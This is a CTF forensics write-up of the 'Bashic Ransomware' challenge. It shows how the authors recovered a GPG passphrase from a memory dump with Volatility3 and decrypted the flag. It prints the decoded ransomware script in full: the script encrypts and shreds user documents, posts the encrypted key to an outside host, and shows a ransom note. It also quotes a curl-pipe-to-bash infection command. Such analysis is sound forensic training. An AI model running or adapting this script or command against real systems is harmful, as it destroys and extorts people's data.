HTB Cyber Apocalypse CTF 2023

HTB Cyber Apocalypse CTF 2023

This year I have managed to solve more challenges than ever before with TheWhiteCircle. But the forensics category, with the bashic ransomware challenge, actually made me want to share the write-up here!

Bashic Ransomware

Solved by : thewhiteh4t & Starry-Lord

challenge description

This competition was long expected, TheWhiteCircle's CTF team and I had already participated in 2 other HTB CTF editions, and really appreciated the challenge, infra, features quality, which allowed us to made some really good breakthroughs together. Find the other write-ups Here. One of these challenges actually stood out to me the most, so much so that I had to post this write-up, at least for future reference.

There were a bunch of files coming with this challenge, zipped into a zip archive, sending us through many directions:

┌──(starlord㉿HAL-9090)-[~/…/CTF/CyberApocalypse2023/forensics]
└─$ ls
flag.txt.a59ap  
forensics_bashic_ransomware.zip  
forensics.mem  
linux-image-5.10.0-21.zip  
traffic.pcap

A. Traffic.pcap

We started looking into the pcap file with Wireshark, which was (thankfully) only 12 packets long. Following the unique tcp flow gave us a bit of insight:

Follow TCP stream

Since it’s an HTTP request, we can find it if we go to File > Export Objects> HTTP…

Export HTTP objects

After saving the content, we realise quickly that it was base64 encoded.

┌──(starlord㉿HAL-9090)-[~/Bureau/CTF/CyberApocalypse2023/bashic]
└─$ cat Kxr43fMD9t.manifest | base64 -d

Decoded content of Kxr43fMD9t.manifest:

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 'KkmZKkmZJoQMgQXa4VWCJoQZ5gTMUV3MidFRGB1b4VUCJogblhGdgsTXgISKnB3Z
gYXLgQmbh1WbvNGKkICI41CIbBiZplgCuVGa0ByOd1FIiIzM0MzM2kjN2cjclB3bsVmdlRmIg0TPgISKp1WYvh2doQiIgs1WgYWaKoQfKQVbuN2NyIHRzI1Vul2RxEGUuB
jdJogNvV1Q51mQQdUdHlkTNFTRQlVTNlgCNlle0J2cUNkNG5EWBNzN4hUTGVXCKsHIpgSZ5gTMUV3MidFRGB1b4VkCK0nCG9URJoQLt0SLt0SLt0SLt0SLt0SLt0SLt0SL
t0SLt0SLt0SLt0SLt0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HcnNEdwMFT0BTeTRUOFR1QCN
1VGRXRJREbFR1QWZUVnFUMSFlQpRlSkVlUDFzUMRHMTxkI9oGZPl3MLdzb0UmV5pGb0lgC7BSKo0UW6RnYzR1Q2YkTYF0M3gHSNZUdKg2chJ2LulmYvEyI
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

Some more obfuscation to go through, so we simply replaced the values in the eval section to read what was being evaluated. Decoded content of the decoded content (We can see the ransomnote!):

┌──(starlord㉿HAL-9090)-[~/Bureau/CTF/CyberApocalypse2023/bashic]
└─$ cat ransomware.sh                  
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""

x=$(eval "echo'#!/bin/bash
uFMHx73AXNF6CTsbtzYM() {
        tljyVe4o7K3yOdj="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwO
        EFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl
        4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd
        0QwMWlmaXNBbUxYV0xVUmRxClliU3lT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Ckc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEk
        yaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT
        3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXp
        iUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLW
        XJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFd
        HRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ
        0stLS0tLQ=="
        echo $tljyVe4o7K3yOdj | base64 --decode | gpg --import
        echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust
}

MMYPE1MNIGuGPBmyCUo6() {
        DhQ52B6UugM1WcX=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
        echo $DhQ52B6UugM1WcX > RxgXlDqP0h3baha
        gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha 
        shred -u RxgXlDqP0h3baha
        curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php

        for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar;
        do
                if [[ ${i} != *"*."* ]];then
                        echo $DhQ52B6UugM1WcX | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
                        shred -u "$i" 2>/dev/null
                fi
        done

        unset DhQ52B6UugM1WcX
}

v0nPa1GinWR3Dr27cnmT() {
    cat <<- EOF
                --------------------------------------------------------------------------
                YOUR FILES ARE ENCRYPTED BY AN EXTRATERRESTRIAL RANSOMWARE
                * What happened?
                        Most of your files are no longer accessible because they have been encrypted. Do not waste your time trying to find a way to decrypt them; it is impossible without our private key.
                * How to recover my files?
                        Recovering your files is 100% guaranteed if you follow our instructions. One file per infection can be decrypted as proof of work. To decrypt the rest, you must return the relic back to its previous rightful owners.
                * Is there a deadline?
                        Of course, there is. You have ten days left. Do not miss this deadline.
                --------------------------------------------------------------------------
        EOF
}

ExoPFDWb3uT189e() {
        uFMHx73AXNF6CTsbtzYM
        MMYPE1MNIGuGPBmyCUo6
        v0nPa1GinWR3Dr27cnmT
}

if [[ "$(whoami)" == "developer7669633432" ]]; then
        if [ -x "$(command -v gpg)" ]; then
                ExoPFDWb3uT189e
                exit 1
        fi
fi
")
eval "$x"

After close examination, we found out it actually uses gpg to encrypt the data. 3 functions come into play:

  1. the first function is setting a public PGP key block called RansomKey and set its trust to maximum, in order to use it to encrypt the data.
  2. The next one is responsible for AES256 encrypting .txt .doc .docx .pdf .kdbx .gz *.rar , by generating a 16 char long passphrase for pgp encryption from this command:

  3. ┌──(starlord㉿HAL-9090)-[~/Bureau/CTF/CyberApocalypse2023/bashic]
    └─$ strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'
    Fsu1b8fs7lsoNJhZ
  4. The ransom note and instructions displayed after everything is broken. It is indeed correct that we cannot, in the time allowed for this ctf, crack aes encryption without the passphrase, and the passphrase appears to have been generated randomly from /dev/urandom.

However we have more files.

B. Memory dump and linux image zip

First things first, in order to gather information from a memory dump, we need the volatility tool. Many ressources are available on how to install volatility2 & 3, like hacktricks amongst others. It so happens that it can be more painful for some than for others to install both concurrently, but eventually, both of us got both of them working.

The linux image zip file was actually a symbol table, which hints heavily towards using volatility3 instead of volatility2. Many sources online say volatility2 is the preferred one, can do more things, etc… So we had a little overcoming to do before fully committing. Regardless, it is possible to create profiles for volatility3 by sending those json symbol tables to the /symbols directory from the volatility3 install.

From there, it was finally possible to retrieve some data. The most interesting and useful volatility3 plugin output in our case was the following:

┌──(starlord㉿HAL-9090)-[~/Bureau/CTF/CyberApocalypse2023/bashic]
└─$ vol -f forensics.mem linux.bash.Bash      
Volatility 3 Framework 2.4.2
Progress:  100.00               Stacking attempts finished                 
PID     Process CommandTime     Command

440     bash    2023-03-03 20:51:15.000000      id
440     bash    2023-03-03 20:51:16.000000      ps aux
440     bash    2023-03-03 20:51:19.000000      ls
440     bash    2023-03-03 20:51:20.000000      uname -a
440     bash    2023-03-03 20:51:27.000000      curl http://files.pypi-install.com/packages/Kxr43fMD9t.manifest|base64 -d|bash

We have tried everything, including retrieving bytes from volshell, until we found out that kudelski actually made a plugin to retrieve gpg passphrases from memory dumps with volatility3!

Excitement, excitement! A few short minutes after finding the github repo for the plugin, Thewhiteh4t managed to get the plugin working and retrieved the 16 chars generated from /dev/urandom from the extracted memory. Then it was just a simple command to decrypt our flag.

That’s when I had the most struggle. For some reason, the plugins were not both working right away for me. I have successfully managed to install fully functioning volatility 2 and 3 on my new kali vm during the ctf, and I was frantically looking for the correct symbols, framework, and plugins dir, until I just went for this:

┌──(starlord㉿HAL-9090)-[~/…/volatility3/volatility3/plugins/linux]
└─$ vol -h -vv
...SNIP...
  File "/home/starlord/.local/lib/python3.11/site-packages/volatility3/framework/plugins/linux/gpg_full.py", line 12, in <module>
    from cryptography.hazmat.primitives.keywrap import aes_key_unwrap, InvalidUnwrap
ModuleNotFoundError: No module named 'cryptography'

DEBUG    volatility3.framework: Failed to import module volatility3.plugins.linux.gpg_full based on file: /home/starlord/.local/lib/python3.11/site-packages/volatility3/framework/plugins/linux/gpg_full.py
 ...SNIP...

So a simple

pip3 install cryptography

solved my issue definitively.

C. Decrypting the files

That’s when another issue rose up: it takes a default starting time of right now.

find correct time

Remember this line?

440     bash    2023-03-03 20:51:27.000000      curl http://files.pypi-install.com/packages/Kxr43fMD9t.manifest|base64 -d|bash

Lets turn this date into unix time (1677876687) and feed it to volatility3 again:

┌──(starlord㉿HAL-9090)-[~/Bureau/CTF/CyberApocalypse2023/bashic]
└─$ vol -f forensics.mem linux.gpg_full.GPGItem --fast --epoch 1677876687
Volatility 3 Framework 2.4.2
Progress:  100.00               Stacking attempts finished                 
Offset  Private key     Secret size     Plaintext
Searching from 03 Mar 2023 20:51:27 UTC to 12 Sep 2023 06:06:55 UTC

0x7f96f0002038  86246ef7da91e80ac9f1587bf8d93e76        32      wJ5kENwyu8amx2RM
0x7f96f0002038  86246ef7da91e80ac9f1587bf8d93e76        32      wJ5kENwyu8amx2RM

This is the passphrase used for encrypting the files with pgp,

┌──(starlord㉿HAL-9090)-[~/Bureau/CTF/CyberApocalypse2023/bashic]
└─$ gpg --decrypt flag.txt.a59ap                       
gpg: données chiffrées avec AES256.CFB
gpg: chiffré avec 1 phrase secrète
HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}

and this is how I managed to solve my first hard challenge during HTB’s CyberApocalypse CTF 2023!

by Starry-Lord 23.03.23